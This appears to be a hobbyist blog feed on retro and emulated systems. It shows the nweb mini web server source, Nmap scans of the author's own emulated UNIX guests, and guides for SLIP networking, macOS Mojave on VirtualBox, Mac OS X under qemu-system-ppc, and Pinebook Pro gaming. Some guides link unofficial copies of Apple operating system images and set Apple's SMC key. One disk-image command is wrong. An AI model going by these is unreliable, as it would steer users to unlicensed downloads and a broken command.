void log(int type, char *s1, char *s2, int num)
{
int fd ;
char logbuffer[BUFSIZE*2];
 
switch (type) {
case ERROR: (void)sprintf(logbuffer,"ERROR: %s:%s Errno=%d exiting pid=%d",s1, s2, errno,getpid()); break;
case SORRY:
(void)sprintf(logbuffer, "<HTML><BODY><H1>nweb Web Server Sorry: %s %s</H1></BODY></HTML>\r\n", s1, s2);
(void)write(num,logbuffer,strlen(logbuffer));
(void)sprintf(logbuffer,"SORRY: %s:%s",s1, s2);
break;
case LOG: (void)sprintf(logbuffer," INFO: %s:%s:%d",s1, s2,num); break;
}
/* no checks here, nothing can be done a failure anyway */
if((fd = open("nweb.log", O_CREAT| O_WRONLY | O_APPEND,0644)) >= 0) {
(void)write(fd,logbuffer,strlen(logbuffer));
(void)write(fd,"\n",1);
(void)close(fd);
}
if(type == ERROR || type == SORRY) exit(3);
}
 
/* this is a child web server process, so we can exit on errors */
void web(int fd, int hit)
{
int j, file_fd, buflen, len;
long i, ret;
char * fstr;
static char buffer[BUFSIZE+1]; /* static so zero filled */
 
ret =read(fd,buffer,BUFSIZE); /* read Web request in one go */
 
if(ret == 0 || ret == -1) { /* read failure stop now */
log(SORRY,"failed to read browser request","",fd);
}
 
if(ret > 0 && ret < BUFSIZE) /* return code is valid chars */
buffer[ret]=0; /* terminate the buffer */
else
buffer[0]=0;
 
for(i=0;i<ret;i++) /* remove CF and LF characters */
if(buffer[i] == '\r' || buffer[i] == '\n')
buffer[i]='*';
 
log(LOG,"request",buffer,hit);
 
if( strncmp(buffer,"GET ",4) && strncmp(buffer,"get ",4) )
log(SORRY,"Only simple GET operation supported",buffer,fd);
 
for(i=4;i<BUFSIZE;i++) { /* null terminate after the second space to ignore extra stuff */
if(buffer[i] == ' ') { /* string is "GET URL " +lots of other stuff */
buffer[i] = 0;
break;
}
}
 
for(j=0;j<i-1;j++) /* check for illegal parent directory use .. */
if(buffer[j] == '.' && buffer[j+1] == '.')
log(SORRY,"Parent directory (..) path names not supported",buffer,fd);
 
if( !strncmp(&buffer[0],"GET /\0",6) || !strncmp(&buffer[0],"get /\0",6) ) /* convert no filename to index file */
(void)strcpy(buffer,"GET /index.html");
 
/* work out the file type and check we support it */
buflen=strlen(buffer);
fstr = (char *)0;
for(i=0;extensions[i].ext != 0;i++) {
len = strlen(extensions[i].ext);
if( !strncmp(&buffer[buflen-len], extensions[i].ext, len)) {
fstr =extensions[i].filetype;
break;
}
}
if(fstr == 0) log(SORRY,"file extension type not supported",buffer,fd);
 
if(( file_fd = open(&buffer[5],O_RDONLY)) == -1) /* open the file for reading */
log(SORRY, "failed to open file",&buffer[5],fd);
 
log(LOG,"SEND",&buffer[5],hit);
 
(void)sprintf(buffer,"HTTP/1.0 200 OK\r\nContent-Type: %s\r\n\r\n", fstr);
(void)write(fd,buffer,strlen(buffer));
 
/* send file in 8KB block - last block may be smaller */
while ( (ret = read(file_fd, buffer, BUFSIZE)) > 0 ) {
(void)write(fd, buffer, ret);
}
#ifdef LINUX
sleep(1); /* to allow socket to drain */
#endif
exit(1);
}
 
 
int main(int argc, char **argv)
{
int i, port, pid, listenfd, socketfd, hit;
/* size_t length; */
unsigned int length;
static struct sockaddr_in cli_addr; /* static = initialised to zeros */
static struct sockaddr_in serv_addr; /* static = initialised to zeros */
 
if( argc < 3 || argc > 3 || !strcmp(argv[1], "-?") ) {
(void)printf("hint: nweb Port-Number Top-Directory\n\n"
"\tnweb is a small and very safe mini web server\n"
"\tnweb only servers out file/web pages with extensions named below\n"
"\t and only from the named directory or its sub-directories.\n"
"\tThere is no fancy features = safe and secure.\n\n"
"\tExample: nweb 8181 /home/nwebdir &\n\n"
"\tOnly Supports:");
for(i=0;extensions[i].ext != 0;i++)
(void)printf(" %s",extensions[i].ext);
 
(void)printf("\n\tNot Supported: URLs including \"..\", Java, Javascript, CGI\n"
"\tNot Supported: directories / /etc /bin /lib /tmp /usr /dev /sbin \n"
"\tNo warranty given or implied\n\tNigel Griffiths nag@uk.ibm.com\n"
);
exit(0);
}
if( !strncmp(argv[2],"/" ,2 ) || !strncmp(argv[2],"/etc", 5 ) ||
!strncmp(argv[2],"/bin",5 ) || !strncmp(argv[2],"/lib", 5 ) ||
!strncmp(argv[2],"/tmp",5 ) || !strncmp(argv[2],"/usr", 5 ) ||
!strncmp(argv[2],"/dev",5 ) || !strncmp(argv[2],"/sbin",6) ){
(void)printf("ERROR: Bad top directory %s, see nweb -?\n",argv[2]);
exit(3);
}
if(chdir(argv[2]) == -1){
(void)printf("ERROR: Can't Change to directory %s\n",argv[2]);
exit(4);
}
 
/* Become deamon + unstopable and no zombies children (= no wait()) */
if(fork() != 0)
return 0; /* parent returns OK to shell */
(void)signal(SIGCLD, SIG_IGN); /* ignore child death */
(void)signal(SIGHUP, SIG_IGN); /* ignore terminal hangups */
for(i=0;i<32;i++)
(void)close(i); /* close open files */
(void)setpgrp(); /* break away from process group */
 
log(LOG,"nweb starting",argv[1],getpid());
 
/* setup the network socket */
 
if((listenfd = socket(AF_INET, SOCK_STREAM,0)) <0)
log(ERROR, "system call","socket",0);
 
log(LOG, "listenfd", NULL, listenfd);
 
port = atoi(argv[1]);
if(port < 0 || port >60000)
log(ERROR,"Invalid port number (try 1->60000)",argv[1],0);
 
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(port);
 
if(bind(listenfd, (struct sockaddr *)&serv_addr,sizeof(serv_addr)) <0)
log(ERROR,"system call","bind",0);
 
if( listen(listenfd,64) <0)
log(ERROR,"system call","listen",0);
 
for(hit=1; ;hit++) {
length = sizeof(cli_addr);
if((socketfd = accept(listenfd, (struct sockaddr *)&cli_addr, &length)) < 0)
log(ERROR,"system call","accept",0);
 
log(LOG, "socketfd", NULL, socketfd);
 
if((pid = fork()) < 0) {
log(ERROR,"system call","fork",0);
}
else {
if(pid == 0) { /* child */
(void)close(listenfd);
web(socketfd,hit); /* never returns */
} else { /* parent */
(void)close(socketfd);
}
}
}
}

Running it is fairly simple (we place index.html in /home/www for example)

# ./nweb 80 /home/www

And here are the screenshots of this page actually running in nweb on the 4.3BSD :)

Even WhatWeb gets some info about it :)

http://10.0.2.10 [200 OK] Country[RESERVED][ZZ], Email[nag@uk.ibm.com], IP[10.0.2.10]

And Nmap scan looks like this

Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-17 00:07 CEST
Nmap scan report for 10.0.2.10
Host is up (0.0046s latency).
Not shown: 986 closed ports
PORT STATE SERVICE
7/tcp open echo
9/tcp open discard
13/tcp open daytime
19/tcp open chargen
21/tcp open ftp
23/tcp open telnet
25/tcp open smtp
|_smtp-commands: SMTP: EHLO 500 Command unrecognized\x0D
37/tcp open time
79/tcp open finger
| finger: Login Name TTY Idle When Office\x0D
|_root System Manager co 3 Thu 15:35 \x0D
80/tcp open http
|_http-title: Site doesn't have a title (text/html).
512/tcp open exec
513/tcp open login
514/tcp open shell
515/tcp open printer
MAC Address: 08:00:2B:AA:BB:CC (Digital Equipment)

Live NetBSD bootable USB image Sandokan

$
0
0

Finally the first version is out for anybody to experiment with. All the information is on the project’s page @ https://www.sandokan.tk

Made a short video demo here


Unfortunately DuneLegacy crashes under Qemu as well as some ScummVM games (EOB 1 and EOB2) these however played well on a real hardware (Thinkpad x100e)

DELL UNIX SLIP networking with QEMU/Linux

$
0
0

Shorter entry for now, but quite an entertaining one I hope. Wonder how many people nowadays know what SLIP was/is (Serial Line Internet Protocol) ? I grew up on PPP which replaced SLIP eventually. More on SLIP is available on the Wikipedia entry https://en.wikipedia.org/wiki/Serial_Line_Internet_Protocol

This entry is about a little known DELL UNIX project which was almost forgotten, but thanks to Antoni Sawicki is was brought back in 2012 https://virtuallyfun.com/wordpress/2012/03/20/dell-unix-lives-again/   and http://gunkies.org/wiki/Dell_UNIX

Since the above article deals with rather incomplete networking involving two virtualized guest (Windows NT and DELL Unix) I have decided to review this and document on how to create a working SLIP networking with the Linux host + QEMU DELL Unix guest + Internet.

  1. – Get qemu (compile or install in your distribution)

Create a working directory for DELL Unix

mkdir DELL.UNIX 
cd DELL.UNIX
wget https://archive.org/download/dellunix/dellunix-bochs.tar.xz
unxz dellunix-bochs.tar.xz
tar -xvf dellunix-bochs.tar
ls -la
total 1280388
drwxr-xr-x 2 root root       4096 Nov  1 19:15 .
drwxr-xr-x 4 user user       4096 Nov  1 18:50 ..
-rw-rw-r-- 1  500  500  523837440 Mar 19  2012 allsoft.img
-rw-rw-r-- 1  500  500       1311 Mar 19  2012 bochsrc.txt
-rw-r--r-- 1 root root 1047736320 Sep  7  2018 dellunix-bochs.tar
-rw-rw-r-- 1  500  500      21527 Mar 19  2012 dellunix.png
-rw-rw-r-- 1  500  500      21227 Mar 19  2012 dellunix-x11.png
-rw-rw-r-- 1  500  500  523837440 Mar 19  2012 firstboot.img
-rw-rw-r-- 1  500  500       2208 Mar 19  2012 install.txt


At this point we will only need the ready-made bootable DELL UNIX allsoft.img raw disk image for qemu simulation so we can delete all the other files, unless you want to setup everything yourself.

Next we prepare the qemu loader for DELL UNIX

qemu-system-i386 -boot c -m 128 -serial pty -drive format=raw,file=allsoft.img -no-acpi -chardev msmouse,id=msmouse -device isa-serial,chardev=msmouse
  1.  the -serial pty is needed for the SLIP network
  2. -no-acpi is needed so that the system does not shut down due to low battery
  3. -chardev msmouse,id=msmouse -device isa-serial,chardev=msmouse is needed for the X11 mouse to work (currently it does not work when both -serial pty is enabled)

Once we start the qemu simulator watch for the PTY number that qemu will show on the console (usually #5)

char device redirected to /dev/pts/5 (label serial0)

And keep this pts in mind once we setup a SLIP interface on the Linux host, we execute the following command as root

# slattach -s 19200 -d -p slip /dev/pts/5

Following should be visible on the terminal

slattach: tty_open: looking for lock
slattach: tty_open: trying to open /dev/pts/5
slattach: tty_open: /dev/pts/5 (fd=3)
slattach: tty_set_speed: 19200
slattach: tty_set_databits: 8
slattach: tty_set_stopbits: 1
slattach: tty_set_parity: N
slip started on /dev/pts/5 interface sl0

Open another xterm and configure the sl0 device on Linux under root

ifconfig sl0 192.168.7.1 dstaddr 192.168.7.2 netmask 255.255.255.0 mtu 576 up

Next Im using my regular networking script for qemu/simh/alphavm which can be used in this case as well

tunctl -t tap0 -u user
ifconfig tap0 up
brctl addbr br0
brctl setfd br0 0
ifconfig br0 10.0.2.2 netmask 255.255.255.0 broadcast 10.0.2.255 up
brctl addif br0 tap0 
ifconfig tap0 0.0.0.0
sysctl net.ipv4.ip_forward=1
iptables --table nat -A POSTROUTING --out-interface wlan0 -j MASQUERADE

# With additional SLIP entries 
iptables -A FORWARD -i sl0 -o bridge0 -j ACCEPT
iptables -A FORWARD -i bridge0 -o sl0 -m state --state NEW,RELATED,ESTABLISHED -j ACCEPT

Save the above, make it executable and run under root privileges on Linux

Next on DELL UNIX (there is no password for root user, so on login screen just enter root and it will login)

Run the following commands inside DELL UNIX guest

slipattach /dev/tty00s 192.168.7.2 192.168.7.1 19200 
route add default 192.168.7.1 0 
echo "nameserver 8.8.8.8" > /etc/resolv.conf

Verify the network interface sl0 is up in DELL UNIX

ifconfig sl0

We are online now and should be able to connect to the internet ! (Also back to the DELL UNIX guest from Linux via 192.168.7.2)

Here is the default daemon list visible remotely on the DELL UNIX

# nmap -sS -sV 192.168.7.2
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-01 19:52 CET
Nmap scan report for 192.168.7.2
Host is up (0.31s latency).
Not shown: 987 closed ports
PORT STATE SERVICE VERSION
7/tcp open echo
9/tcp open discard?
13/tcp open daytime Sun Solaris daytime
19/tcp open chargen
21/tcp open ftp UNIX System V Release 4.0 ftpd
23/tcp open telnet
25/tcp open smtp Sendmail 4.1/SMI-4.1
37/tcp open time (32 bits)
119/tcp open nntp
512/tcp open exec
513/tcp open login
514/tcp open tcpwrapped
1027/tcp open status 1 (RPC #100024)
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port23-TCP:V=7.80%I=7%D=11/1%Time=5DBC7F1D%P=x86_64-unknown-linux-gnu%r
SF:(NULL,3,"\xff\xfd\x18")%r(GenericLines,3,"\xff\xfd\x18")%r(tn3270,54,"\
SF:xff\xfd\x18\xff\xfe\x19\xff\xfc\x19\xff\xfd\0\xff\xfb\0\xff\xfa\x18\x01
SF:\xff\xf0\xff\xfb\x01\xff\xfb\x03\xff\xfd\x01\r\n\r\nUNIX\(r\)\x20System
SF:\x20V\x20Release\x204\.0\x20\(unix\)\r\n\r\0\r\n\r\0login:\x20")%r(GetR
SF:equest,3,"\xff\xfd\x18")%r(RPCCheck,3,"\xff\xfd\x18")%r(Help,3,"\xff\xf
SF:d\x18")%r(SIPOptions,3,"\xff\xfd\x18")%r(NCP,3,"\xff\xfd\x18");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port119-TCP:V=7.80%I=7%D=11/1%Time=5DBC7F1D%P=x86_64-unknown-linux-gnu%
SF:r(NULL,68,"200\x20unix\x20NNTP\x20server\x20version\x201\.5\.11\x20\(10
SF:\x20February\x201991\)\x20ready\x20at\x20Fri\x20Nov\x20\x201\x2018:53:1
SF:1\x202019\x20\(posting\x20ok\)\.\r\n")%r(GenericLines,68,"200\x20unix\x
SF:20NNTP\x20server\x20version\x201\.5\.11\x20\(10\x20February\x201991\)\x
SF:20ready\x20at\x20Fri\x20Nov\x20\x201\x2018:53:11\x202019\x20\(posting\x
SF:20ok\)\.\r\n")%r(Help,1FB,"200\x20unix\x20NNTP\x20server\x20version\x20
SF:1\.5\.11\x20\(10\x20February\x201991\)\x20ready\x20at\x20Fri\x20Nov\x20
SF:\x201\x2018:53:23\x202019\x20\(posting\x20ok\)\.\r\n100\x20This\x20serv
SF:er\x20accepts\x20the\x20following\x20commands:\r\nARTICLE\x20\x20\x20\x
SF:20\x20BODY\x20\x20\x20\x20\x20\x20\x20\x20\x20GROUP\r\nHEAD\x20\x20\x20
SF:\x20\x20\x20\x20\x20LAST\x20\x20\x20\x20\x20\x20\x20\x20\x20LIST\r\nNEX
SF:T\x20\x20\x20\x20\x20\x20\x20\x20POST\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20QUIT\r\nSTAT\x20\x20\x20\x20\x20\x20\x20\x20NEWGROUPS\x20\x20\x20\x20
SF:HELP\r\nIHAVE\x20\x20\x20\x20\x20\x20\x20NEWNEWS\x20\x20\x20\x20\x20\x2
SF:0SLAVE\r\n\r\nAdditionally,\x20the\x20following\x20extention\x20is\x20s
SF:upported:\r\n\r\nXHDR\x20\x20\x20\x20\x20\x20\x20\x20Retrieve\x20a\x20s
SF:ingle\x20header\x20line\x20from\x20a\x20range\x20of\x20articles\.\r\n\r
SF:\nBugs\x20to\x20Stan\x20Barber\x20\(Internet:\x20nntp@tmc\.edu;\x20UUCP
SF::\x20\.\.\.!bcm!nntp\)\r\n\.\r\n");
Service Info: Host: unix; OSs: Solaris, Unix; CPE: cpe:/o:sun:sunos

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 182.76 seconds

So we have Telnet for remote terminal sessions and FTP for file transfers. Also DELL UNIX ships with C compiler so we can also build some code on it ! Even FTP to the internet ;) mind that SLIP connection is very slow, but works …

Here is a telnet session

user@linux ~ $ telnet 192.168.7.2
Trying 192.168.7.2...
Connected to 192.168.7.2.
Escape character is '^]'.


UNIX(r) System V Release 4.0 (unix)

login: root
Password:
DELL UNIX System V Release 4.0 Version 4.0
unix
Copyright (c) 1990, 1991, 1992 Dell Computer Corporation
Copyright (c) 1984, 1986, 1987, 1988, 1989, 1990 AT&T
Copyright (c) 1990, 1991 UNIX System Laboratories, Inc.
Copyright (c) 1987, 1988 Microsoft Corp.
All Rights Reserved
Last login: Fri Nov 1 18:48:04 on console


This message comes from /etc/motd

The Message Of The Day file should contain information from
the system administrator that system users need to know.

You should change this file to reflect local events or information.


you have mail
/ #

And FTP session

user@linux ~ $ ftp 192.168.7.2
Connected to 192.168.7.2.
220 unix FTP server (UNIX(r) System V Release 4.0) ready.
Name (192.168.7.2:user): root
331 Password required for root.
Password:
230 User root logged in.
ftp> ls
200 PORT command successful.
150 ASCII data connection for /bin/ls (192.168.7.1,48959) (0 bytes).
total 226
lrwxrwxrwx 1 root other 8 Jun 16 1992 bin -> /usr/bin
-r--r--r-- 1 bin sys 47845 Apr 9 1991 command.com
-rw-r--r-- 1 bin sys 68 Jun 15 1992 config.sys
-r--r--r-- 1 bin sys 17069 Dec 31 1989 country.sys
dr-xr-xr-x 30 root root 10240 Nov 1 18:31 dev
drwxrwxr-x 37 root sys 4096 Nov 1 18:40 etc
drwxrwxrwx 2 root root 512 Jun 15 1992 export
drwxr-xr-x 3 root root 512 Jun 15 1992 home
drwxr-xr-x 2 root root 512 Jun 16 1992 home2
lrwxrwxrwx 1 root other 8 Jun 16 1992 lib -> /usr/lib
drwxrwxrwx 2 root root 4096 Jun 15 1992 lost+found
drwxrwxr-x 2 root sys 512 Jun 15 1992 mnt
dr-xr-xr-x 2 root root 16416 Nov 1 19:00 proc
drwxr-xr-x 2 bin bin 2048 Jun 16 1992 sbin
drwxr-xr-x 2 bin bin 512 Jun 16 1992 shlib
drwxrwxr-x 2 root sys 128 Jun 16 1992 stand
lrwxrwxrwx 1 root other 8 Jun 16 1992 tmp -> /var/tmp
lrwxrwxrwx 1 root other 11 Jun 16 1992 unix -> /stand/unix
drwxr-xr-x 31 bin bin 1024 Dec 31 1989 usr
drwxrwxr-x 19 root sys 512 Nov 1 18:40 var
226 ASCII Transfer complete.
ftp>

Mojave on VirtualBox 6.1 Linux

$
0
0

With the major release of VirtualBox 6.1 came the support to APFS which was problematic before especially for virtualizing macOS Mojave or Catalina. I have realized this is a major improvement and decided to post yet another macOS Movaje installation procedure under VirtualBox 6.1 and Linux x86_64.

The Changelog for VirtualBox 6.1 is here https://www.virtualbox.org/wiki/Changelog-6.1  and lurking at the end is the small note which matters

EFI: Added support for booting from APFS 

So lets move on and do a quick recap of what needs to be done. We need to get macOS Mojave obviously in an ISO format first onto our Linux machine, there are several methods how to do this (macOS is available for free from App-store ) but you need a macOS to do this or you can use an ISO created for this especially. Here is a good source how to do this http://osxdaily.com/2018/09/29/download-full-macos-mojave-installer/

Or you can get a working copy here https://gofile.io/?c=sjlJRS

We create the Mojave VirtualBox template and name it Mojave, make sure to set the following

  • RAM > 2048 MB
  • 2 CPUs minimum
  • Chipset – ICH9
  • Pointing Device – USB Tablet
  • Display 128 MB Video Memory + Enable 3d acceleration
  • Storage – Mojave.iso
  • Network (I use Host-only-Adapter  vboxnet0)
  • USB – USB 3.0 xHCI

Network – vboxnet0

  • Networking scripts needed for TCP/IP if we use vboxnet0 under VirtualBox 6.1
  • apt-get install  uml-utilities bridge-utils
  • IMPORTANT  – load this script as root only after you run VirtualBox so that the vboxnet0 gets created, next time when you reboot either make sure this is automated or keep in mind that you need to first stat VirtualBox console, then run the below script as root for the vboxnet0 network to be ready.
# Typical networking script used along with VirtualBox 
# Where the internet connected interface is the Wireless wlan0 
# This can of course be customized to ones needs 
# This script needs to be executed prior the simulator start as root 

tunctl -t tap0 -u user
ifconfig tap0 up
brctl addbr br0
brctl setfd br0 0
ifconfig br0 10.0.2.2 netmask 255.255.255.0 broadcast 10.0.2.255 up
brctl addif br0 tap0  
ifconfig tap0 0.0.0.0
sysctl net.ipv4.ip_forward=1
iptables --table nat -A POSTROUTING --out-interface wlan0 -j MASQUERADE

Once you are done, before booting Mojave, save the below scripts on your system and execute them, change the $NAME variable to whatever you have called Mojave in VirtualBox and choose the VM_RES value to use (it cannot be changed in the VM)

1680×1050 resolution preset script to be executed once we create the VM Mojave template

#!/bin/bash
readonly VM_RES="1680x1050"
readonly NAME="Mojave"

VBoxManage modifyvm "$NAME" --usbxhci on --firmware efi --chipset ich9 --mouse usbtablet --keyboard usb
VBoxManage setextradata "$NAME" "CustomVideoMode1" "${VM_RES}x32"
VBoxManage setextradata "$NAME" VBoxInternal2/EfiGraphicsResolution "$VM_RES"
VBoxManage modifyvm "$NAME" --cpuidset 00000001 000106e5 00100800 0098e3fd bfebfbff
VBoxManage setextradata "$NAME" "VBoxInternal/Devices/efi/0/Config/DmiSystemProduct" "iMac11,3"
VBoxManage setextradata "$NAME" "VBoxInternal/Devices/efi/0/Config/DmiSystemVersion" "1.0"
VBoxManage setextradata "$NAME" "VBoxInternal/Devices/efi/0/Config/DmiBoardProduct" "Iloveapple"
VBoxManage setextradata "$NAME" "VBoxInternal/Devices/smc/0/Config/DeviceKey" "ourhardworkbythesewordsguardedpleasedontsteal(c)AppleComputerInc"
VBoxManage setextradata "$NAME" "VBoxInternal/Devices/smc/0/Config/GetKeyFromRealSMC" 1

1280×1024 resolution preset script to be executed once we create the VM Mojave template

#!/bin/bash
readonly VM_RES="1280x1024"
readonly NAME="Mojave"

VBoxManage modifyvm "$NAME" --usbxhci on --firmware efi --chipset ich9 --mouse usbtablet --keyboard usb
VBoxManage setextradata "$NAME" "CustomVideoMode1" "${VM_RES}x32"
VBoxManage setextradata "$NAME" VBoxInternal2/EfiGraphicsResolution "$VM_RES"
VBoxManage modifyvm "$NAME" --cpuidset 00000001 000106e5 00100800 0098e3fd bfebfbff
VBoxManage setextradata "$NAME" "VBoxInternal/Devices/efi/0/Config/DmiSystemProduct" "iMac11,3"
VBoxManage setextradata "$NAME" "VBoxInternal/Devices/efi/0/Config/DmiSystemVersion" "1.0"
VBoxManage setextradata "$NAME" "VBoxInternal/Devices/efi/0/Config/DmiBoardProduct" "Iloveapple"
VBoxManage setextradata "$NAME" "VBoxInternal/Devices/smc/0/Config/DeviceKey" "ourhardworkbythesewordsguardedpleasedontsteal(c)AppleComputerInc"
VBoxManage setextradata "$NAME" "VBoxInternal/Devices/smc/0/Config/GetKeyFromRealSMC"

Next its pretty straight forward, boot Mojave, load Disk Utility, Erase the VM HDD and let the installer run, this time VirtualBox has no issues with EFI APFS boot, so no Clover.iso needed :)

Setup network – since I don’t run DHCPd in my virtual networks I choose the  manual IP configuration. I have used for the Mojave en0 the following values

  • IP 10.0.2.12
  • Netmask 255.255.255.0
  • Gateway 10.0.2.2
  • DNS 8.8.8.8

disable Apple telemetry (location services and usage statistics during setup) and we are ready to start testing :) Do not upgrade to Catalina (it works, but the latest Catalina does not boot in VirtualBox yet) , however the normal system/software updates for Mojave work fine

Then system will reboot (takes some time, so be patient) ; all is smooth now and no need to switch between EFI shells anymore !

Reboot one more time, this time longer estimated time to finish

And after about 30 minutes (SSD drive)  the fresh Mojave updated comes up

PPC systems under qemu-system-ppc emulation on aarch64 part 1

$
0
0

Shorter and last entry from me in 2019. This time its about some experiments running PPC systems via qemu-system-ppc

This time I wanted to see how the Pinebook-pro behaves and how usable it is on the virtualization/simulation side. Im using the XFCE Manajaro Arm64 Linux for the Pinebook-pro made available here https://osdn.net/projects/manjaro-arm/storage/pbpro/xfce      on a microSD card, and here is one important thing to consider, good quality/fast  microSD card is a must (Im using a 64 GB Kingston read speed 100 MB/s )

However since I don’t really like XFCE I have removed it from the install and use Fluxbox instead (its even more lighter but needs more skill to configure compared to XFCE or KDE)

Also Im using a fresh Qemu git clone https://github.com/qemu/qemu

Qemu compilation on aarch64 Manjaro Linux is straight forward and can be summed up to simply “$ configure && make ” and ” # make install

I wanted to cover the PPC systems I have tested here, so mainly we will be covering MacOS 10.2 and later MorphOS 3.12 and AmigaOS 4.1. Apple had support for PPC all the way to macOS Tiger 10.5.8 but I found 10.5 to be really slow in qemu compared to 10.2

Also 10.2 is quite aged and we will include an installation of Apple pre-xcode developer toolkit with the GCC compiler and test compile some code.

All of the above can be of course done on any other architecture, x86_64 with powerfull CPU (core i5/i7 would produce much better results compared to the Pinebook’s ARM CPU)

Assuming we have all in place lets prepare the environment for the OSX 10.2 installation

Create working directories and download the ISOs, there are 3 ISOs, place these there

DISK1.ISO  –   https://mega.nz/#!4MJCBQpJ!Ydr7UCBKo0lNYzl0AhM_wsdzDLMbHpwrRsuBEVhCm5s
DISK2.ISO  –  https://mega.nz/#!ZdAkRQKA!17phaXtAh_DWebc2yc4JiA-7nfUQk8fV1_-ksZh2Tcs
DEVELOPER.ISO –   https://mega.nz/#!lUYwTKjQ!ii8hikFjEyr8Qs3d0DfSOZZIrYp3Vm7-m0oetkFRC20
~ $ mkdir MACOS
~ $ cd MACOS 
MACOS $ ls 
MACOS $ disk1.iso disk2.iso developer.iso 

Lets create the qcow2 disk image to hold the installation (20 GB should be fine)

MACOS $ qemu-system create -f qcow2 disk.img 20G 
MACOS $

For the networking on the Arch Linux we need to download uml_utilities and compile them, since they do not ship on the Manjaro Linux (arch) since we need the tunctl command from there to setup the network

$ wget http://user-mode-linux.sourceforge.net/uml_utilities_20070815.tar.bz2
$ bunzip uml_utilities_20070815.tar.bz2 
$ tar -xvf uml_utilities_20070815.tar
$ cd tools-20070815 
$ make 
The make will error on uml_net/hoct.c:215 undefined reference to ` makedev`  But this does not really matter, the tunctl binary will be built which we can copy over to /usr/bin like this $ su # cd tunclt # cp tunctl /usr/bin

Also we would need to install the bridge-utils which are installable via pacman package manager like this

# pacman -S bridge-utils

Once we have all the above in place we can prepare the network sharing script for Qemu, just make sure we execute this after each system boot

#Setup tap and bridge 
#change the username below to match yours
tunctl -t tap0 -u user  
ifconfig tap0 up
brctl addbr br0
brctl setfd br0 0
ifconfig br0 10.0.2.2 netmask 255.255.255.0 broadcast 10.0.2.255 up
brctl addif br0 tap0 
ifconfig tap0 0.0.0.0
sysctl net.ipv4.ip_forward=1
iptables --table nat -A POSTROUTING --out-interface wlan0 -j MASQUERADE

Also make sure you have this script as /etc/qemu-ifup and executable

#! /bin/sh
# Script to bring a network (tap) device for qemu up.
# The idea is to add the tap device to the same bridge
# as we have default routing to.

# in order to be able to find brctl
PATH=$PATH:/sbin:/usr/sbin
ip=$(which ip)

if [ -n "$ip" ]; then
ip link set "$1" up
else
brctl=$(which brctl)
if [ ! "$ip" -o ! "$brctl" ]; then
echo "W: $0: not doing any bridge processing: neither ip nor brctl utility not found" >&2
exit 0
fi
ifconfig "$1" 0.0.0.0 up
fi

switch=$(ip route ls |
awk '/^default / {
for(i=0;i<NF;i++) { if ($i == "dev") { print $(i+1); next; } }
}'
)

switch=br0

# only add the interface to default-route bridge if we
# have such interface (with default route) and if that
# interface is actually a bridge.
# It is possible to have several default routes too
for br in $switch; do
if [ -d /sys/class/net/$br/bridge/. ]; then
if [ -n "$ip" ]; then
ip link set "$1" master "$br"
else
brctl addif $br "$1"
fi
exit # exit with status of the previous command
fi
done

echo "W: $0: no bridge for guest interface found" >&2

Finally we prepare the qemu installer script which we will call install.sh here and execute

qemu-system-ppc -L pc-bios -boot d -M mac99 -m 512 -hda disk.img -cdrom disk1.iso \
 -netdev user,id=mynet0 -device sungem,netdev=mynet0 -net nic -net tap

Load the Disk Utility and configure the qemu disk (20G) Erase using Macos Extended

Once the disk is ready we can chose it for OSX installation

Installation will continue

After a while when the installer finishes, power off  qemu and re-load the installer script with the second disk2.iso  like this, but this time we boot of the C drive

qemu-system-ppc -L open-bios -boot c -M mac99 -m 1024 -hda disk.img -cdrom disk2.iso \
-netdev user,id=mynet0 -device sungem,netdev=mynet0 -net nic -net tap

Installation will continue and eventually finish. Reboot yet again. Here is the final run.sh script to load the simulator.

During the final setup we need to enter some annoying personal details, make some up

Finally setup the passwords and account

Next we will setup network

And do not choose DHCP, setup the network manually

Click through next and eventually finish the setup. All the personal information requirements are really annoying, but for some reason the network configuration does not get saved properly, so we need to re-configure it yet again

This time the network gets saved and works

We can now install the GCC developer tools on the developer.iso CD, open the CD and double-click Developer.mpkg

Wait for the installer to finish

And the final look – qemu in full screen (ctlr+alt+f) in 1920×1080 resolution … looks almost native

Next we will try MorphOS and AmigaOS , but that will be in 2020

Happy new Year

Reference used

https://wiki.qemu.org/Documentation/Platforms/PowerPC

 

Pinebookpro gaming part 1

$
0
0

I have started a small thread on the Pine64 forum related to gaming on the Pinebook-pro https://forum.pine64.org/showthread.php?tid=8665 and decided to add some more detailed instructions for others to replicate the efforts on their arm64 device.

What is needed – Pinebookpro with Manjaro (latest) Linux  which can be downloaded from here https://wiki.pine64.org/index.php/Pinebook_Pro_Software_Release#Manjaro_ARM and a good fast microSD card with at least 64 GB size (Im using a Kingston 100 mb/s read  80 mb/s write)

The microSD card boots easily on the Pinebook, and is ideal for this kind of testing, since we would not risk any bricking apart from the OS on the microSD card, and backups are easily done via dd clone.

As of now the  following is the kernel version Im running on it

Linux pinebookpro 5.5.0-0.1-MANJARO-ARM #1 SMP Mon Jan 6 18:31:54 UTC 2020 aarch64 GNU/Linux

Also here is a list of all the packages I have installed, so please make sure you have these in order to build the code in the future.  My primary WM is Fluxbox which is very light, although I have used the XFCE Manjaro distribution image, I don’t really use much of XFCE apart from the terminal and the network-manager. (I have experimented with xfce, mate and cinnamon, but like Fluxbox the most still)

alsa-utils 1.2.1-1
ap6256-firmware 2019.11-5
audacious 3.10.1-2
autoconf 2.69-6
automake 1.16.1-2
avahi 0.7+18+g1b5f401-3
base 2-2
bc 1.07.1-3
binutils 2.33.1-2
binwalk 2.2.0-2
bison 3.5-1
blueman 2.1.1-2
bluez 5.52-2
boost 1.71.0-4
bootsplash-systemd 0.1.2-1
bootsplash-theme-manjaro 0.1-2
bridge-utils 1.6-4
cbatticon 1.6.10-1
cheese 3.34.0-2
cinnamon 4.4.6-1
clang 9.0.1-1
cmake 3.16.2-1
cpio 2.13-1
cpu-temp-speed 20190929-1
dhclient 4.4.1-4
dhcpcd 8.1.4-1
dialog 1:1.3_20191210-1
